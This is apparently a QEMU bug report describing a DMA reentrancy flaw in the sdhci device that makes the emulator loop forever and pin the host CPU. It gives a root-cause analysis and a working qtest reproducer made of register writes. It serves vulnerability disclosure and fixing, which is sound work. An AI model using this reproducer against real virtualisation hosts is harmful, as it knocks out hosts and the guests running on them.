sdhci: DMA reentrancy issue leads to an infinite loop
Description of problem
When sdhci transfers multiple blocks, it doesnot check if the dma-write buffer pointer overlaps with its MMIO region, crafted content can cause DoS because of infinite loop and CPU consumption.
Reproducer
cat << EOF | ./qemu-system-x86_64 -machine accel=qtest -nodefaults \
-drive if=none,index=0,file=null-co://,format=raw,id=mydrive \
-device sdhci-pci -device sd-card,drive=mydrive \
-nographic -qtest stdio
outl 0xcf8 0x80001004
outl 0xcfc 0x107
outl 0xcf8 0x80001010
outl 0xcfc 0xfebf1000
writel 0xfebf102c 0x1000007
writel 0xfebf1004 0x10200
writel 0xfebf1008 0
writel 0xfebf100c 0xc000000
writel 0xfebf100c 0x18000022
writel 0xfebf1000 0x2fffffff
writel 0xfebf1004 0x20008
writel 0xfebf100c 0x11000032
writel 0xfebf1000 0xfebf100c
EOF
Crash Detail
The QEMU process and guest os are not responding and unable to process any requests and no response. The CPU usage reaches 100%, and I can only use kill -9 [qemu-system-x86_64 pid]
from host to kill it.
Analysis
In sdhci_sdma_transfer_multi_blocks function, use dma_memory_write to reentry and make s- > trnmod & SDHC_TRNS_BLK_CNT_EN = false. Then , the QEMU process gets stuck in an infinite loop.